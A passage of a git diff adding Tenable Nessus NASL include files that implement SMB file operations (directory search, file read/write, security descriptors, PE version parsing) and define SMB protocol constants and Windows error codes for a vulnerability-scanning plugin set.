ret[0] = raw_word (w:search_id) + + raw_word (w:search_count) + + raw_word (w:end_of_search) + + raw_word (w:index) + + raw_dword (d:pos) + + data; + + ret[1] = get_win32_find_data_filename (struct:file_struct); + ret[2] = get_win32_find_data_fileattributes (struct:file_struct); + + return ret; +} + + + +#---------------------------------------------------------# +# Function : FindNextFile # +# Description : Return Next file in WIN32_FIND_DATA # +# Return : ret[0] = file handle # +# ret[1] = file name # +# full handle = ret # +#---------------------------------------------------------# + +function FindNextFile (handle) +{ + local_var ret, parameters, search_id, search_count, end_of_search, ea_error_offset, last_name_offset; + local_var pad, data, index, pos, file_struct, size; + + if (strlen (handle[0]) < 13) + return NULL; + + search_id = get_word (blob:handle[0], pos:0); + search_count = get_word (blob:handle[0], pos:2); + end_of_search = get_word (blob:handle[0], pos:4); + index = get_word (blob:handle[0], pos:6); + pos = get_dword (blob:handle[0], pos:8); + data = substr (handle[0], 12, strlen (handle[0]) - 1); + + if (index > search_count) + { + if (end_of_search == 1) + return NULL; + + parameters = raw_word (w:search_id) + # Search ID + raw_word (w:0xFFFF) + # Max search buffer size + raw_word (w:260) + # Default level of interest + raw_dword (d:0) + # storage type + raw_word (w:6) + # Close if EOS is reached / RESUME + cstring (string:handle[1]); + + ret = smb_trans2 (param:parameters, data:NULL, max_pcount:8, command:2); + if (!ret || (strlen (ret) < 10)) + return NULL; + + # FIND_FIRST2 Parameters + search_count = get_word (blob:ret, pos:0); + end_of_search = get_word (blob:ret, pos:2); + ea_error_offset = get_word (blob:ret, pos:4); + last_name_offset = get_word (blob:ret, pos:6); + + # FIND_FIRST2 Data + data = substr (ret, 8, strlen(ret)-1); + + # If no data we quit + if (search_count <= 0) + return NULL; + + index = 1; + pos = 0; + } + + size = get_word (blob:data, pos:pos); + if (strlen (data) < size) + return NULL; + + #last elem next offset param is null + if (size == 0) + size = strlen (data); + + file_struct = substr (data, pos, pos+size-1); + pos += size; + index++; + + ret = NULL; + ret[0] = raw_word (w:search_id) + + raw_word (w:search_count) + + raw_word (w:end_of_search) + + raw_word (w:index) + + raw_dword (d:pos) + + data; + + + ret[1] = get_win32_find_data_filename (struct:file_struct); + ret[2] = get_win32_find_data_fileattributes (struct:file_struct); + + return ret; +} + + + +#---------------------------------------------------------# +# Function : CreateFile # +# Description : open a file # +# return file handle # +#---------------------------------------------------------# + +function CreateFile (file, desired_access, file_attributes, share_mode, create_disposition) +{ + return smb_create_and_x (name:file, + desired_access:desired_access, + flags_attributes:file_attributes, + share_mode:share_mode, + create_disposition:create_disposition, + create_options:0); +} + + + +#---------------------------------------------------------# +# Function : ReadFile # +# Description : Read data from file # +#---------------------------------------------------------# + +function ReadFile (handle, offset, length) +{ + local_var fid; + + fid = handle[0]; + + return smb_read_and_x (fid:fid, offset:offset, length:length); +} + + + +#---------------------------------------------------------# +# Function : WriteFile # +# Description : write data into file # +#---------------------------------------------------------# + +function WriteFile (handle, offset, mode, data) +{ + local_var fid; + + fid = handle[0]; + + return smb_write_and_x (fid:fid, offset:offset, mode:mode, data:data); +} + + + +#---------------------------------------------------------# +# Function : CloseFile # +# Description : close a file # +#---------------------------------------------------------# + +function CloseFile (handle) +{ + local_var fid; + + fid = handle[0]; + + return smb_close (fid:fid); +} + + + + +#---------------------------------------------------------# +# Function : GetSecurityInfo # +# Description : return security information # +# Note : only works with a file # +#---------------------------------------------------------# + +function GetSecurityInfo (handle, level) +{ + local_var parameters, ret, len; + + parameters = raw_word (w:handle[0]) + # FID + raw_word (w:0) + # reserved + raw_dword (d:level); + + ret = smb_nt_trans (param:parameters, data:NULL, command:0x06, max_pcount:4, max_dcount:0); + if (strlen(ret) != 4) + return NULL; + + len = get_dword (blob:ret, pos:0); + ret = smb_nt_trans (param:parameters, data:NULL, command:0x06, max_pcount:4, max_dcount:len); + if (strlen(ret) < 4) + return NULL; + + len = get_dword (blob:ret, pos:0); + if (strlen(ret) != 4 + len) + return NULL; + + return parse_security_descriptor (blob:substr(ret, 4, strlen(ret)-1)); +} + + +#---------------------------------------------------------# +# Function : GetFileSize # +# Description : return file size # +#---------------------------------------------------------# + +function GetFileSize (handle) +{ + local_var size; + + size = handle[1]; + + # size = low DWORD + high DWORD + # we just don't care about high DWORD for the moment + return get_dword (blob:size, pos:0); +} + + + +function check_version (size, offset, voffset, handle) +{ + local_var i, sig, ret, id, info_offset, res_dir, NumberOfNamedEntries, NumberOfIdEntries, entry, version_info; + + # IMAGE_RESOURCE_DIRECTORY structure + res_dir = ReadFile (handle:handle, offset:offset, length:16); + if (!res_dir || strlen(res_dir) != 16) + return NULL; + + NumberOfNamedEntries = get_word (blob:res_dir, pos:12); + NumberOfIdEntries = get_word (blob:res_dir, pos:14); + + info_offset = 0; + + for (i = 0; i < NumberOfNamedEntries + NumberOfIdEntries; i++) + { + entry = ReadFile (handle:handle, offset:offset+16+i*8, length:8); + if (!entry || strlen(entry) != 8) + return NULL; + + id = get_dword (blob:entry, pos:0); + if (id == 0x10) # VERSION_INFO structure + { + info_offset = get_dword (blob:entry, pos:4) - 0x80000000; + break; + } + } + + if (info_offset == 0) + return NULL; + + # VERSION : IMAGE_RESOURCE_DIRECTORY 1 + res_dir = ReadFile (handle:handle, offset:offset+info_offset, length:24); + if (!res_dir || strlen(res_dir) != 24) + return NULL; + + info_offset = get_dword (blob:res_dir, pos:20) - 0x80000000; + + + # VERSION : IMAGE_RESOURCE_DIRECTORY 2 + res_dir = ReadFile (handle:handle, offset:offset+info_offset, length:24); + if (!res_dir || strlen(res_dir) != 24) + return NULL; + + info_offset = get_dword (blob:res_dir, pos:20); + + + # VERSION : offset + size + res_dir = ReadFile (handle:handle, offset:offset+info_offset, length:8); + if (!res_dir || strlen(res_dir) != 8) + return NULL; + + info_offset = get_dword (blob:res_dir, pos:0); + + # Convert Vitual address to offset + info_offset = info_offset - voffset; + + + # VERSION_INFO + version_info = ReadFile (handle:handle, offset:offset+info_offset, length:56); + if (!version_info || strlen(version_info) != 56) + return NULL; + + sig = substr(version_info,40,43); + if ("bd04effe" >!< hexstr(sig)) + return NULL; + + ret = NULL; + ret[0] = get_word (blob:version_info, pos:50); + ret[1] = get_word (blob:version_info, pos:48); + ret[2] = get_word (blob:version_info, pos:54); + ret[3] = get_word (blob:version_info, pos:52); + + return ret; +} + + + + +#---------------------------------------------------------# +# Function : GetFileVersion # +# Description : return file version (exe,dll,...) # +# Return : ret[0] = version 0 # +# ret[1] = version 1 # +# ret[2] = version 2 # +# ret[3] = version 3 # +#---------------------------------------------------------# + +function GetFileVersion (handle) +{ + local_var dos_header, sig, e_lfanew, nt_header, number_of_sections, size_optional_header, i; + local_var offset, size, sections, pos, idx, tmp, pattern, rsrc, r_pattern, ret, name, voffset; + + + # We first parse IMAGE_DOS_HEADER + dos_header = ReadFile (handle:handle, offset:0, length:64); + if (!dos_header || (strlen(dos_header) != 64)) + return NULL; + + sig = substr(dos_header, 0, 1); + if ("MZ" >!< sig) + return NULL; + + e_lfanew = get_dword (blob:dos_header, pos:60); + + + # We now parse Signature + IMAGE_FILE_HEADER + nt_header = ReadFile (handle:handle, offset:e_lfanew, length:24); + if (!nt_header || (strlen(nt_header) != 24)) + return NULL; + + sig = substr(nt_header, 0, 1); + if ("PE" >!< sig) + return NULL; + + number_of_sections = get_word (blob:nt_header, pos:6); + size_optional_header = get_word (blob:nt_header, pos:20); + + + # We now parse sections + offset = e_lfanew + 24 + size_optional_header; + size = number_of_sections * 40; + sections = ReadFile (handle:handle, offset:offset, length:size); + if (!sections || (strlen(sections) != size)) + return NULL; + + pos = rsrc = 0; + r_pattern = ".rsrc" + raw_string (0,0,0); + + for (i=0; i< name) + { + rsrc = 1; + break; + } + + pos += 40; + } + + # if no rsrc section left + if (rsrc == 0) + return NULL; + + return check_version (size:size, offset:offset, voffset:voffset, handle:handle); +} + + + diff --git a/content/WinVA/plugins/smb_func.inc b/content/WinVA/plugins/smb_func.inc new file mode 100644 index 0000000..3beeecb --- /dev/null +++ b/content/WinVA/plugins/smb_func.inc @@ -0,0 +1,34 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_func.inc +# $Revision: 1.39 $ +# + + +include ('smb_header.inc'); +include ('kerberos_func.inc'); +include ('smb_internals.inc'); +include ('smb_cifs.inc'); +include ('smb_dcerpc.inc'); +include ('smb_net.inc'); +include ('smb_sam.inc'); +include ('smb_lsa.inc'); +include ('smb_file.inc'); +include ('smb_reg.inc'); +include ('smb_svc.inc'); diff --git a/content/WinVA/plugins/smb_header.inc b/content/WinVA/plugins/smb_header.inc new file mode 100644 index 0000000..799b2ed --- /dev/null +++ b/content/WinVA/plugins/smb_header.inc @@ -0,0 +1,2059 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# +# @NOGPL@ +# +# smb_header.inc +# $Revision: 1.10 $ +# + + +# Supported Protocol +supported_protocol = 6; + +protocol[0] = "PC NETWORK PROGRAM 1.0"; +protocol[1] = "LANMAN1.0"; +protocol[2] = "Windows for Workgroups 3.1a"; +protocol[3] = "LM1.2X002"; +protocol[4] = "LANMAN2.1"; +protocol[5] = "NT LM 0.12"; + +nes_native_os = "Windows 2002 Service Pack 2 2600"; +nes_native_lanman = "Windows 2002 5.1"; + +#---------------------------------------------------------# +# SMB HEADER # +#---------------------------------------------------------# + +# SMB Header size : 32 bytes +SMB_HDR_SIZE = 32; + +# FLAGS field bitmasks. +SMB_FLAGS_SERVER_TO_REDIR = 0x80; +SMB_FLAGS_REQUEST_BATCH_OPLOCK = 0x40; +SMB_FLAGS_REQUEST_OPLOCK = 0x20; +SMB_FLAGS_CANONICAL_PATHNAMES = 0x10; +SMB_FLAGS_CASELESS_PATHNAMES = 0x08; +SMB_FLAGS_RESERVED = 0x04; +SMB_FLAGS_CLIENT_BUF_AVAIL = 0x02; +SMB_FLAGS_SUPPORT_LOCKREAD = 0x01; +SMB_FLAGS_MASK = 0xFB; + +# FLAGS2 field bitmasks. +SMB_FLAGS2_UNICODE_STRINGS = 0x8000; +SMB_FLAGS2_32BIT_STATUS = 0x4000; +SMB_FLAGS2_READ_IF_EXECUTE = 0x2000; +SMB_FLAGS2_DFS_PATHNAME = 0x1000; +SMB_FLAGS2_EXTENDED_SECURITY = 0x0800; +SMB_FLAGS2_RESERVED_01 = 0x0400; +SMB_FLAGS2_RESERVED_02 = 0x0200; +SMB_FLAGS2_RESERVED_03 = 0x0100; +SMB_FLAGS2_RESERVED_04 = 0x0080; +SMB_FLAGS2_IS_LONG_NAME = 0x0040; +SMB_FLAGS2_RESERVED_05 = 0x0020; +SMB_FLAGS2_RESERVED_06 = 0x0010; +SMB_FLAGS2_RESERVED_07 = 0x0008; +SMB_FLAGS2_SECURITY_SIGNATURE = 0x0004; +SMB_FLAGS2_EAS = 0x0002; +SMB_FLAGS2_KNOWS_LONG_NAMES = 0x0001; +SMB_FLAGS2_MASK = 0xF847; + + +# Capabilities bitmasks. +CAP_UNICODE = 0x00000004; +CAP_STATUS32 = 0x00000040; +CAP_LEVEL_II_OPLOCKS = 0x00000080; +CAP_NT_FIND = 0x00000200; +CAP_NT_SMBS = 0x00000010; +CAP_LARGE_FILES = 0x00000008; +CAP_EXTENDED_SECURITY = 0x80000000; + +# Security Mode +NEGOTIATE_SECURITY_SIGNATURES_REQUIRED = 0x08; +NEGOTIATE_SECURITY_SIGNATURES_ENABLED = 0x04; +NEGOTIATE_SECURITY_CHALLENGE_RESPONSE = 0x02; + +# SMB commands +SMB_COM_CREATE_DIRECTORY = 0x00; +SMB_COM_DELETE_DIRECTORY = 0x01; +SMB_COM_OPEN = 0x02; +SMB_COM_CREATE = 0x03; +SMB_COM_CLOSE = 0x04; +SMB_COM_FLUSH = 0x05; +SMB_COM_DELETE = 0x06; +SMB_COM_RENAME = 0x07; +SMB_COM_QUERY_INFORMATION = 0x08; +SMB_COM_SET_INFORMATION = 0x09; +SMB_COM_READ = 0x0A; +SMB_COM_WRITE = 0x0B; +SMB_COM_LOCK_BYTE_RANGE = 0x0C; +SMB_COM_UNLOCK_BYTE_RANGE = 0x0D; +SMB_COM_CREATE_TEMPORARY = 0x0E; +SMB_COM_CREATE_NEW = 0x0F; +SMB_COM_CHECK_DIRECTORY = 0x10; +SMB_COM_PROCESS_EXIT = 0x11; +SMB_COM_SEEK = 0x12; +SMB_COM_LOCK_AND_READ = 0x13; +SMB_COM_WRITE_AND_UNLOCK = 0x14; +SMB_COM_READ_RAW = 0x1A; +SMB_COM_READ_MPX = 0x1B; +SMB_COM_READ_MPX_SECONDARY = 0x1C; +SMB_COM_WRITE_RAW = 0x1D; +SMB_COM_WRITE_MPX = 0x1E; +SMB_COM_WRITE_COMPLETE = 0x20; +SMB_COM_SET_INFORMATION2 = 0x22; +SMB_COM_QUERY_INFORMATION2 = 0x23; +SMB_COM_LOCKING_ANDX = 0x24; +SMB_COM_TRANSACTION = 0x25; +SMB_COM_TRANSACTION_SECONDARY = 0x26; +SMB_COM_IOCTL = 0x27; +SMB_COM_IOCTL_SECONDARY = 0x28; +SMB_COM_COPY = 0x29; +SMB_COM_MOVE = 0x2A; +SMB_COM_ECHO = 0x2B; +SMB_COM_WRITE_AND_CLOSE = 0x2C; +SMB_COM_OPEN_ANDX = 0x2D; +SMB_COM_READ_ANDX = 0x2E; +SMB_COM_WRITE_ANDX = 0x2F; +SMB_COM_CLOSE_AND_TREE_DISC = 0x31; +SMB_COM_TRANSACTION2 = 0x32; +SMB_COM_TRANSACTION2_SECONDARY = 0x33; +SMB_COM_FIND_CLOSE2 = 0x34; +SMB_COM_FIND_NOTIFY_CLOSE = 0x35; +SMB_COM_TREE_CONNECT = 0x70; +SMB_COM_TREE_DISCONNECT = 0x71; +SMB_COM_NEGOTIATE = 0x72; +SMB_COM_SESSION_SETUP_ANDX = 0x73; +SMB_COM_LOGOFF_ANDX = 0x74; +SMB_COM_TREE_CONNECT_ANDX = 0x75; +SMB_COM_QUERY_INFORMATION_DISK = 0x80; +SMB_COM_SEARCH = 0x81; +SMB_COM_FIND = 0x82; +SMB_COM_FIND_UNIQUE = 0x83; +SMB_COM_NT_TRANSACT = 0xA0; +SMB_COM_NT_TRANSACT_SECONDARY = 0xA1; +SMB_COM_NT_CREATE_ANDX = 0xA2; +SMB_COM_NT_CANCEL = 0xA4; +SMB_COM_OPEN_PRINT_FILE = 0xC0; +SMB_COM_WRITE_PRINT_FILE = 0xC1; +SMB_COM_CLOSE_PRINT_FILE = 0xC2; +SMB_COM_GET_PRINT_QUEUE = 0xC3; +SMB_COM_READ_BULK = 0xD8; +SMB_COM_WRITE_BULK = 0xD9; +SMB_COM_WRITE_BULK_DATA = 0xDA; + + +# ERROR code +NO_ERROR = 0; +ERROR_SUCCESS = 0; +ERROR_INVALID_FUNCTION = 1; +ERROR_FILE_NOT_FOUND = 2; +ERROR_PATH_NOT_FOUND = 3; +ERROR_TOO_MANY_OPEN_FILES = 4; +ERROR_ACCESS_DENIED = 5; +ERROR_INVALID_HANDLE = 6; +ERROR_ARENA_TRASHED = 7; +ERROR_NOT_ENOUGH_MEMORY = 8; +ERROR_INVALID_BLOCK = 9; +ERROR_BAD_ENVIRONMENT = 10; +ERROR_BAD_FORMAT = 11; +ERROR_INVALID_ACCESS = 12; +ERROR_INVALID_DATA = 13; +ERROR_OUTOFMEMORY = 14; +ERROR_INVALID_DRIVE = 15; +ERROR_CURRENT_DIRECTORY = 16; +ERROR_NOT_SAME_DEVICE = 17; +ERROR_NO_MORE_FILES = 18; +ERROR_WRITE_PROTECT = 19; +ERROR_BAD_UNIT = 20; +ERROR_NOT_READY = 21; +ERROR_BAD_COMMAND = 22; +ERROR_CRC = 23; +ERROR_BAD_LENGTH = 24; +ERROR_SEEK = 25; +ERROR_NOT_DOS_DISK = 26; +ERROR_SECTOR_NOT_FOUND = 27; +ERROR_OUT_OF_PAPER = 28; +ERROR_WRITE_FAULT = 29; +ERROR_READ_FAULT = 30; +ERROR_GEN_FAILURE = 31; +ERROR_SHARING_VIOLATION = 32; +ERROR_LOCK_VIOLATION = 33; +ERROR_WRONG_DISK = 34; +ERROR_SHARING_BUFFER_EXCEEDED = 36; +ERROR_HANDLE_EOF = 38; +ERROR_HANDLE_DISK_FULL = 39; +ERROR_NOT_SUPPORTED = 50; +ERROR_REM_NOT_LIST = 51; +ERROR_DUP_NAME = 52; +ERROR_BAD_NETPATH = 53; +ERROR_NETWORK_BUSY = 54; +ERROR_DEV_NOT_EXIST = 55; +ERROR_TOO_MANY_CMDS = 56; +ERROR_ADAP_HDW_ERR = 57; +ERROR_BAD_NET_RESP = 58; +ERROR_UNEXP_NET_ERR = 59; +ERROR_BAD_REM_ADAP = 60; +ERROR_PRINTQ_FULL = 61; +ERROR_NO_SPOOL_SPACE = 62; +ERROR_PRINT_CANCELLED = 63; +ERROR_NETNAME_DELETED = 64; +ERROR_NETWORK_ACCESS_DENIED = 65; +ERROR_BAD_DEV_TYPE = 66; +ERROR_BAD_NET_NAME = 67; +ERROR_TOO_MANY_NAMES = 68; +ERROR_TOO_MANY_SESS = 69; +ERROR_SHARING_PAUSED = 70; +ERROR_REQ_NOT_ACCEP = 71; +ERROR_REDIR_PAUSED = 72; +ERROR_FILE_EXISTS = 80; +ERROR_CANNOT_MAKE = 82; +ERROR_FAIL_I24 = 83; +ERROR_OUT_OF_STRUCTURES = 84; +ERROR_ALREADY_ASSIGNED = 85; +ERROR_INVALID_PASSWORD = 86; +ERROR_INVALID_PARAMETER = 87; +ERROR_NET_WRITE_FAULT = 88; +ERROR_NO_PROC_SLOTS = 89; +ERROR_TOO_MANY_SEMAPHORES = 100; +ERROR_EXCL_SEM_ALREADY_OWNED = 101; +ERROR_SEM_IS_SET = 102; +ERROR_TOO_MANY_SEM_REQUESTS = 103; +ERROR_INVALID_AT_INTERRUPT_TIME = 104; +ERROR_SEM_OWNER_DIED = 105; +ERROR_SEM_USER_LIMIT = 106; +ERROR_DISK_CHANGE = 107; +ERROR_DRIVE_LOCKED = 108; +ERROR_BROKEN_PIPE = 109; +ERROR_OPEN_FAILED = 110; +ERROR_BUFFER_OVERFLOW = 111; +ERROR_DISK_FULL = 112; +ERROR_NO_MORE_SEARCH_HANDLES = 113; +ERROR_INVALID_TARGET_HANDLE = 114; +ERROR_INVALID_CATEGORY = 117; +ERROR_INVALID_VERIFY_SWITCH = 118; +ERROR_BAD_DRIVER_LEVEL = 119; +ERROR_CALL_NOT_IMPLEMENTED = 120; +ERROR_SEM_TIMEOUT = 121; +ERROR_INSUFFICIENT_BUFFER = 122; +ERROR_INVALID_NAME = 123; +ERROR_INVALID_LEVEL = 124; +ERROR_NO_VOLUME_LABEL = 125; +ERROR_MOD_NOT_FOUND = 126; +ERROR_PROC_NOT_FOUND = 127; +ERROR_WAIT_NO_CHILDREN = 128; +ERROR_CHILD_NOT_COMPLETE = 129; +ERROR_DIRECT_ACCESS_HANDLE = 130; +ERROR_NEGATIVE_SEEK = 131; +ERROR_SEEK_ON_DEVICE = 132; +ERROR_IS_JOIN_TARGET = 133; +ERROR_IS_JOINED = 134; +ERROR_IS_SUBSTED = 135; +ERROR_NOT_JOINED = 136; +ERROR_NOT_SUBSTED = 137; +ERROR_JOIN_TO_JOIN = 138; +ERROR_SUBST_TO_SUBST = 139; +ERROR_JOIN_TO_SUBST = 140; +ERROR_SUBST_TO_JOIN = 141; +ERROR_BUSY_DRIVE = 142; +ERROR_SAME_DRIVE = 143; +ERROR_DIR_NOT_ROOT = 144; +ERROR_DIR_NOT_EMPTY = 145; +ERROR_IS_SUBST_PATH = 146; +ERROR_IS_JOIN_PATH = 147; +ERROR_PATH_BUSY = 148; +ERROR_IS_SUBST_TARGET = 149; +ERROR_SYSTEM_TRACE = 150; +ERROR_INVALID_EVENT_COUNT = 151; +ERROR_TOO_MANY_MUXWAITERS = 152; +ERROR_INVALID_LIST_FORMAT = 153; +ERROR_LABEL_TOO_LONG = 154; +ERROR_TOO_MANY_TCBS = 155; +ERROR_SIGNAL_REFUSED = 156; +ERROR_DISCARDED = 157; +ERROR_NOT_LOCKED = 158; +ERROR_BAD_THREADID_ADDR = 159; +ERROR_BAD_ARGUMENTS = 160; +ERROR_BAD_PATHNAME = 161; +ERROR_SIGNAL_PENDING = 162; +ERROR_MAX_THRDS_REACHED = 164; +ERROR_LOCK_FAILED = 167; +ERROR_BUSY = 170; +ERROR_CANCEL_VIOLATION = 173; +ERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 174; +ERROR_INVALID_SEGMENT_NUMBER = 180; +ERROR_INVALID_ORDINAL = 182; +ERROR_ALREADY_EXISTS = 183; +ERROR_INVALID_FLAG_NUMBER = 186; +ERROR_SEM_NOT_FOUND = 187; +ERROR_INVALID_STARTING_CODESEG = 188; +ERROR_INVALID_STACKSEG = 189; +ERROR_INVALID_MODULETYPE = 190; +ERROR_INVALID_EXE_SIGNATURE = 191; +ERROR_EXE_MARKED_INVALID = 192; +ERROR_BAD_EXE_FORMAT = 193; +ERROR_ITERATED_DATA_EXCEEDS_64k = 194; +ERROR_INVALID_MINALLOCSIZE = 195; +ERROR_DYNLINK_FROM_INVALID_RING = 196; +ERROR_IOPL_NOT_ENABLED = 197; +ERROR_INVALID_SEGDPL = 198; +ERROR_AUTODATASEG_EXCEEDS_64k = 199; +ERROR_RING2SEG_MUST_BE_MOVABLE = 200; +ERROR_RELOC_CHAIN_XEEDS_SEGLIM = 201; +ERROR_INFLOOP_IN_RELOC_CHAIN = 202; +ERROR_ENVVAR_NOT_FOUND = 203; +ERROR_NO_SIGNAL_SENT = 205; +ERROR_FILENAME_EXCED_RANGE = 206; +ERROR_RING2_STACK_IN_USE = 207; +ERROR_META_EXPANSION_TOO_LONG = 208; +ERROR_INVALID_SIGNAL_NUMBER = 209; +ERROR_THREAD_1_INACTIVE = 210; +ERROR_LOCKED = 212; +ERROR_TOO_MANY_MODULES = 214; +ERROR_NESTING_NOT_ALLOWED = 215; +ERROR_BAD_PIPE = 230; +ERROR_PIPE_BUSY = 231; +ERROR_NO_DATA = 232; +ERROR_PIPE_NOT_CONNECTED = 233; +ERROR_MORE_DATA = 234; +ERROR_VC_DISCONNECTED = 240; +ERROR_INVALID_EA_NAME = 254; +ERROR_EA_LIST_INCONSISTENT = 255; +ERROR_NO_MORE_ITEMS = 259; +ERROR_CANNOT_COPY = 266; +ERROR_DIRECTORY = 267; +ERROR_EAS_DIDNT_FIT = 275; +ERROR_EA_FILE_CORRUPT = 276; +ERROR_EA_TABLE_FULL = 277; +ERROR_INVALID_EA_HANDLE = 278; +ERROR_EAS_NOT_SUPPORTED = 282; +ERROR_NOT_OWNER = 288; +ERROR_TOO_MANY_POSTS = 298; +ERROR_MR_MID_NOT_FOUND = 317; +ERROR_INVALID_ADDRESS = 487; +ERROR_ARITHMETIC_OVERFLOW = 534; +ERROR_PIPE_CONNECTED = 535; +ERROR_PIPE_LISTENING = 536; +ERROR_EA_ACCESS_DENIED = 994; +ERROR_OPERATION_ABORTED = 995; +ERROR_IO_INCOMPLETE = 996; +ERROR_IO_PENDING = 997; +ERROR_NOACCESS = 998; +ERROR_SWAPERROR = 999; +ERROR_STACK_OVERFLOW = 1001; +ERROR_INVALID_MESSAGE = 1002; +ERROR_CAN_NOT_COMPLETE = 1003; +ERROR_INVALID_FLAGS = 1004; +ERROR_UNRECOGNIZED_VOLUME = 1005; +ERROR_FILE_INVALID = 1006; +ERROR_FULLSCREEN_MODE = 1007; +ERROR_NO_TOKEN = 1008; +ERROR_BADDB = 1009; +ERROR_BADKEY = 1010; +ERROR_CANTOPEN = 1011; +ERROR_CANTREAD = 1012; +ERROR_CANTWRITE = 1013; +ERROR_REGISTRY_RECOVERED = 1014; +ERROR_REGISTRY_CORRUPT = 1015; +ERROR_REGISTRY_IO_FAILED = 1016; +ERROR_NOT_REGISTRY_FILE = 1017; +ERROR_KEY_DELETED = 1018; +ERROR_NO_LOG_SPACE = 1019; +ERROR_KEY_HAS_CHILDREN = 1020; +ERROR_CHILD_MUST_BE_VOLATILE = 1021; +ERROR_NOTIFY_ENUM_DIR = 1022; +ERROR_DEPENDENT_SERVICES_RUNNING = 1051; +ERROR_INVALID_SERVICE_CONTROL = 1052; +ERROR_SERVICE_REQUEST_TIMEOUT = 1053; +ERROR_SERVICE_NO_THREAD = 1054; +ERROR_SERVICE_DATABASE_LOCKED = 1055; +ERROR_SERVICE_ALREADY_RUNNING = 1056; +ERROR_INVALID_SERVICE_ACCOUNT = 1057; +ERROR_SERVICE_DISABLED = 1058; +ERROR_CIRCULAR_DEPENDENCY = 1059; +ERROR_SERVICE_DOES_NOT_EXIST = 1060; +ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061; +ERROR_SERVICE_NOT_ACTIVE = 1062; +ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063; +ERROR_EXCEPTION_IN_SERVICE = 1064; +ERROR_DATABASE_DOES_NOT_EXIST = 1065; +ERROR_SERVICE_SPECIFIC_ERROR = 1066; +ERROR_PROCESS_ABORTED = 1067; +ERROR_SERVICE_DEPENDENCY_FAIL = 1068; +ERROR_SERVICE_LOGON_FAILED = 1069; +ERROR_SERVICE_START_HANG = 1070; +ERROR_INVALID_SERVICE_LOCK = 1071; +ERROR_SERVICE_MARKED_FOR_DELETE = 1072; +ERROR_SERVICE_EXISTS = 1073; +ERROR_ALREADY_RUNNING_LKG = 1074; +ERROR_SERVICE_DEPENDENCY_DELETED = 1075; +ERROR_BOOT_ALREADY_ACCEPTED = 1076; +ERROR_SERVICE_NEVER_STARTED = 1077; +ERROR_DUPLICATE_SERVICE_NAME = 1078; +ERROR_END_OF_MEDIA = 1100; +ERROR_FILEMARK_DETECTED = 1101; +ERROR_BEGINNING_OF_MEDIA = 1102; +ERROR_SETMARK_DETECTED = 1103; +ERROR_NO_DATA_DETECTED = 1104; +ERROR_PARTITION_FAILURE = 1105; +ERROR_INVALID_BLOCK_LENGTH = 1106; +ERROR_DEVICE_NOT_PARTITIONED = 1107; +ERROR_UNABLE_TO_LOCK_MEDIA = 1108; +ERROR_UNABLE_TO_UNLOAD_MEDIA = 1109; +ERROR_MEDIA_CHANGED = 1110; +ERROR_BUS_RESET = 1111; +ERROR_NO_MEDIA_IN_DRIVE = 1112; +ERROR_NO_UNICODE_TRANSLATION = 1113; +ERROR_DLL_INIT_FAILED = 1114; +ERROR_SHUTDOWN_IN_PROGRESS = 1115; +ERROR_NO_SHUTDOWN_IN_PROGRESS = 1116; +ERROR_IO_DEVICE = 1117; +ERROR_SERIAL_NO_DEVICE = 1118; +ERROR_IRQ_BUSY = 1119; +ERROR_MORE_WRITES = 1120; +ERROR_COUNTER_TIMEOUT = 1121; +ERROR_FLOPPY_ID_MARK_NOT_FOUND = 1122; +ERROR_FLOPPY_WRONG_CYLINDER = 1123; +ERROR_FLOPPY_UNKNOWN_ERROR = 1124; +ERROR_FLOPPY_BAD_REGISTERS = 1125; +ERROR_DISK_RECALIBRATE_FAILED = 1126; +ERROR_DISK_OPERATION_FAILED = 1127; +ERROR_DISK_RESET_FAILED = 1128; +ERROR_EOM_OVERFLOW = 1129; +ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130; +ERROR_POSSIBLE_DEADLOCK = 1131; +ERROR_MAPPED_ALIGNMENT = 1132; + +#Nessus Error code +ERROR_SOCKET = 1133; + + +#Status code +STATUS_SUCCESS = 0x00000000; +FACILITY_DEBUGGER = 0x1; +FACILITY_RPC_RUNTIME = 0x2; +FACILITY_RPC_STUBS = 0x3; +FACILITY_IO_ERROR_CODE = 0x4; +FACILITY_TERMINAL_SERVER = 0xA; +FACILITY_USB_ERROR_CODE = 0x10; +FACILITY_HID_ERROR_CODE = 0x11; +FACILITY_FIREWIRE_ERROR_CODE = 0x12; +FACILITY_CLUSTER_ERROR_CODE = 0x13; +FACILITY_ACPI_ERROR_CODE = 0x14; +FACILITY_SXS_ERROR_CODE = 0x15; +STATUS_SEVERITY_SUCCESS = 0x0; +STATUS_SEVERITY_INFORMATIONAL = 0x1; +STATUS_SEVERITY_WARNING = 0x2; +STATUS_SEVERITY_ERROR = 0x3; +STATUS_WAIT_0 = 0x00000000; +STATUS_WAIT_1 = 0x00000001; +STATUS_WAIT_2 = 0x00000002; +STATUS_WAIT_3 = 0x00000003; +STATUS_WAIT_63 = 0x0000003F; +STATUS_ABANDONED = 0x00000080; +STATUS_ABANDONED_WAIT_0 = 0x00000080; +STATUS_ABANDONED_WAIT_63 = 0x000000BF; +STATUS_USER_APC = 0x000000C0; +STATUS_KERNEL_APC = 0x00000100; +STATUS_ALERTED = 0x00000101; +STATUS_TIMEOUT = 0x00000102; +STATUS_PENDING = 0x00000103; +STATUS_REPARSE = 0x00000104; +STATUS_MORE_ENTRIES = 0x00000105; +STATUS_NOT_ALL_ASSIGNED = 0x00000106; +STATUS_SOME_NOT_MAPPED = 0x00000107; +STATUS_OPLOCK_BREAK_IN_PROGRESS = 0x00000108; +STATUS_VOLUME_MOUNTED = 0x00000109; 